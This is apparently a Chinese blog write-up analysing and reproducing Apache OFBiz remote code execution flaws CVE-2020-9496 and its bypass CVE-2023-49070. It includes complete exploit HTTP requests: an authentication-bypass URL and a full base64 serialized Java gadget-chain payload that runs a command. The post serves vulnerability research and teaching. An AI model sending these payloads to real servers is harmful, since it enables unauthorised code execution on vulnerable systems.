CVE-2020-9496 OFBIZ XML-RPC漏洞分析与漏洞复现

2023-12-11 17:12

本文主要是介绍CVE-2020-9496 OFBIZ XML-RPC漏洞分析与漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2020-9496

最近披露了Apache OFBiz 未授权远程代码执行漏洞,是对CVE-2020-9496的绕过,所以先来看看这个漏洞

复现环境:17.12.03

影响范围:Apache Ofbiz:< 17.12.04

环境搭建

  • 下载:Index of /ofbiz

打开项目,配置如下

等这一步加载完成等了好久,接下来就是像maven一样编译

得到了一个Jar包,接下来运行它

这里我运行报错了,直接去运行org.apache.ofbiz.base.start.Start

可以访问https://localhost:8443/accounting

漏洞复现

POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">base64的payload</serializable></value></member></struct></value></param>
</params>
</methodCall>

这里直接用yakit发,开始打半天没打通,后面才看到是解码错误,是百分号的问题,平常发base64习惯urlencode发,直接用原始的base64发包即可

 

XML-RPC消息格式

  • 文档:XML-RPC Specification

每个XML-RPC请求都以<methodCall></methodCall>开头,该元素包含单个子元素<methodName>method</methodName>,元素<methodName>包含子元素<params><params>可以包含一个或多个<param>元素。如:

POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181<?xml version="1.0" encoding="utf-8"?>
<methodCall> <methodName>examples.getStateName</methodName>  <params> <param> <value><i4>41</i4></value> </param> </params> 
</methodCall>

几种常见的数据类型

<!-- array -->
<value><array><data><value><int>7</int></value></data></array>
</value><!-- struct -->
<struct> <member> <name>foo</name> <value>bar</value> </member> 
</struct>

漏洞分析

路由在webtools/webapp/webtools/WEB-INF/web.xml下配置了servlet

跟进control,后续在doGet方法中经过一些设置后,使用RequestHandler的doRequest来处理请求

对于这里的requestHandler是在doGet开头通过this.getRequestHandler()获取到的

跟进后可以看到,其实这里是取的与web.xml同目录下的controller.xml

然后会对EventFactory等实例化

其实就是设置对应的handler,回到doRequest方法

这里requestMapMap定义了216个requestMap,随后跟进访问的路径xmlrpc从Map取出对应的value的阿斗了requestMap

往后继续看

走到了runEvent函数来处理请求(这里有好几个runEvent的调用,主要有一些检查登陆的event在前面)

runEvent函数中会查找对应event到handler然后进行invoke方法调用,以上就是web方面路由的调用

当处理到xmrpc的时候

调用对应的invoke方法

没有传入echo参数进入else分支

这里的getrequest方法会对POST数据进行解析,然后通过execute执行

在execute方法中通过methodName的值会获取handler

跟进getHandler

可以看到默认定义了3670种methodname,如果找不到则会返回no such service

接下来回到getRequest解析请求的地方

可以看到会对POST的数据使用XMLReader进行解析,以XmlRpcRequestParser为解析器,setFeature这些是为来防止XXE等外部实体解析的

接下来就是xml解析操作,包括startElement()endElement()等。我们知道在解析器解析xml数据的过程中,会触发到scanDocument()操作对元素进行逐一“扫描”,其中就会进行startElement()endElement()的调用,这个过程如果处理不当就会引入问题。

在startElement解析最后,会调用父类的startElement

最后当标签为serializable的时候,会返回SerializableParser对象给上层

这里在返回searializableParser的时候前面会有个if,要求pURI等于http://ws.apache.org/xmlrpc/namespaces/extensions,这也就是为什么payload中会有<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">

在得到返回的对象后调用SerializableParser的startElement方法

这里会创建一个base64解码器,这里应该是调用其父类ByteArrayParser的startElement

然后会调用到characters方法对base64进行解码,并且会在解码后写入字节流,这里知道会base64解码即可

接下来就按节点调用endElement了,刚才是递增从外向内,那么end的时候就是递减从内向外开始解析了

先设置了result

接下来是value节点

当调用到MapParser的时候,会调用endValueTag

调用对应typeParser的getResult方法

取出原先设置的result直接反序列化,而ofbiz本身是有CB链的依赖的

为什么要用struct

可以看到在XmlRpcRequestParser的节点解析中,前面几个默认是methodCall,methodName,params,param,这个处理过程是随着每次遍历标签进行的,当扫描完4个必须提供的标签后,会调用父类的startElement()进行处理,而typeParser就是在父类中完成赋值的,随后便通过不同的解析器进入不同的解析流程,还是会调用对应解析器的startElement,这个过程是递归的

也就是前面提到的消息格式

<?xml version="1.0" encoding="utf-8"?>
<methodCall> <methodName>examples.getStateName</methodName>  <params> <param> <value><i4>41</i4></value> </param> </params> 
</methodCall>

后面default开始解析的时候其实是从value节点内的东西开始的,这里应该是<i4>

而前面我们提到的获得searializableParser,虽然直接传入可以得到base64解码器,但是在调用endElement的时候,只能调用到setResult,不能到最后getResult来触发反序列化

最后选用了struct标签,它能把数据作为一个结构体传入

<?xml version="1.0"?>
<methodCall><methodName>ping</methodName><params><param><value><struct><member><name>foo</name><value>aa</value></member></struct></value></param></params>
</methodCall>

最后在MapParser中调用了标签内typeParser的getResult方法触发反序列化

漏洞修复

Fixed: Apache OFBiz unsafe deserialization of XMLRPC arguments (CVE-2… · apache/ofbiz-framework@4bdfb54 · GitHub

主要就是在controller.xml加上了对于/webtools/control/xmlrpc路由的鉴权

但是在下面这个漏洞中,我看到增加的东西不仅这些,可能后续还进行了增加的,在CacheFilter中还增加了对serializable标签的检查

具体怎么鉴权的呢

RequestHandler的获取是与Controller.xml相关,涉及到的event调用也有需要授权和不需要授权的

首先是一些需要预加载的相关event的循环调用

接下来是检测需要相关requestMap是否需要鉴权

需要的话就调用LoginWorker的login方法(runEvent中通过反射实现)对其进行鉴权,如果鉴权通过或者不需要坚强就调用runEvent对其进行处理走到后续流程

CVE-2023-49070

这个洞是CVE-2020-9496的绕过

漏洞影响范围:Apache OFBiz before 18.12.10

复现环境:18.12.09

漏洞复现

在https://www.oscs1024.com/hd/MPS-ope5-i4zj这个漏洞通告中已经给出了权限绕过的payload,结合上一个洞

POST /webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 181<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyNjQzNTgzNjA0MzcyNTABAB9MeXNvc2VyaWFsL1B3bmVyNjQzNTgzNjA0MzcyNTA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable></value></member></struct></value></param>
</params>
</methodCall>

漏洞分析

在修复版本中,看到了对xmlrpc路由增加了权限验证

具体是怎么加的呢,就是需要登陆,具体的登陆逻辑在LoginWorker中

在最开始处理路由的时候,首先会处理checkLogin这个event

最后通过反射调用到LoginWorker到extensionCheckLogin方法

具体的检测在checkLogin方法

这一个if如果进去了就代表没有登陆,会返回一个error,如果没有进这个if则会在最后返回success代表检测结果是成功登陆

if (username == null|| (password == null && token == null)|| "error".equals(login(request, response)))

三个条件均不成立的时候就可以不进入if,现在我们主要就是要login这个函数返回的值不为error

一直往下看,首先username为空的话会向unpwErrMsgList里面add一个值,然后当requirePasswordChange参数为Y的时候,因为unpwErrMsgList不为空,进入第二个框里面的if,最后三目运算符返回requirePasswordChange

这样就自然而然绕过了登陆检测

但是不知道什么时候,ofbiz在CacheFilter中添加了一个doFilter

当访问/control/xmlrpc路由的时候会检测body里面是否有</serializable,不过这个检测方式就和正常的路由一样,直接添加/;/这样就直接绕过了,所以最后权限绕过的payload

/webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y

参考链接:

Apache Ofbiz 0day 未授权代码执行

Apache Ofbiz RCE (CVE-2020-9496) 漏洞分析 - 先知社区

CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析 - 先知社区

OSCS | 开源软件供应链安全社区 | 让每一个开源项目变得更安全

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

这篇关于CVE-2020-9496 OFBIZ XML-RPC漏洞分析与漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/481446

相关文章

C#中读取XML文件的四种常用方法

《C#中读取XML文件的四种常用方法》Xml是Internet环境中跨平台的,依赖于内容的技术,是当前处理结构化文档信息的有力工具,下面我们就来看看C#中读取XML文件的方法都有哪些吧... 目录XML简介格式C#读取XML文件方法使用XmlDocument使用XmlTextReader/XmlTextWr

Springboot中分析SQL性能的两种方式详解

《Springboot中分析SQL性能的两种方式详解》文章介绍了SQL性能分析的两种方式:MyBatis-Plus性能分析插件和p6spy框架,MyBatis-Plus插件配置简单,适用于开发和测试环... 目录SQL性能分析的两种方式:功能介绍实现方式:实现步骤:SQL性能分析的两种方式:功能介绍记录

最长公共子序列问题的深度分析与Java实现方式

《最长公共子序列问题的深度分析与Java实现方式》本文详细介绍了最长公共子序列(LCS)问题,包括其概念、暴力解法、动态规划解法,并提供了Java代码实现,暴力解法虽然简单,但在大数据处理中效率较低,... 目录最长公共子序列问题概述问题理解与示例分析暴力解法思路与示例代码动态规划解法DP 表的构建与意义动

C#使用DeepSeek API实现自然语言处理,文本分类和情感分析

《C#使用DeepSeekAPI实现自然语言处理,文本分类和情感分析》在C#中使用DeepSeekAPI可以实现多种功能,例如自然语言处理、文本分类、情感分析等,本文主要为大家介绍了具体实现步骤,... 目录准备工作文本生成文本分类问答系统代码生成翻译功能文本摘要文本校对图像描述生成总结在C#中使用Deep

关于rpc长连接与短连接的思考记录

《关于rpc长连接与短连接的思考记录》文章总结了RPC项目中长连接和短连接的处理方式,包括RPC和HTTP的长连接与短连接的区别、TCP的保活机制、客户端与服务器的连接模式及其利弊分析,文章强调了在实... 目录rpc项目中的长连接与短连接的思考什么是rpc项目中的长连接和短连接与tcp和http的长连接短

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

在MyBatis的XML映射文件中<trim>元素所有场景下的完整使用示例代码

《在MyBatis的XML映射文件中<trim>元素所有场景下的完整使用示例代码》在MyBatis的XML映射文件中,trim元素用于动态添加SQL语句的一部分,处理前缀、后缀及多余的逗号或连接符,示... 在MyBATis的XML映射文件中,<trim>元素用于动态地添加SQL语句的一部分,例如SET或W

Python xmltodict实现简化XML数据处理

《Pythonxmltodict实现简化XML数据处理》Python社区为提供了xmltodict库,它专为简化XML与Python数据结构的转换而设计,本文主要来为大家介绍一下如何使用xmltod... 目录一、引言二、XMLtodict介绍设计理念适用场景三、功能参数与属性1、parse函数2、unpa

关于Maven中pom.xml文件配置详解

《关于Maven中pom.xml文件配置详解》pom.xml是Maven项目的核心配置文件,它描述了项目的结构、依赖关系、构建配置等信息,通过合理配置pom.xml,可以提高项目的可维护性和构建效率... 目录1. POM文件的基本结构1.1 项目基本信息2. 项目属性2.1 引用属性3. 项目依赖4. 构

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制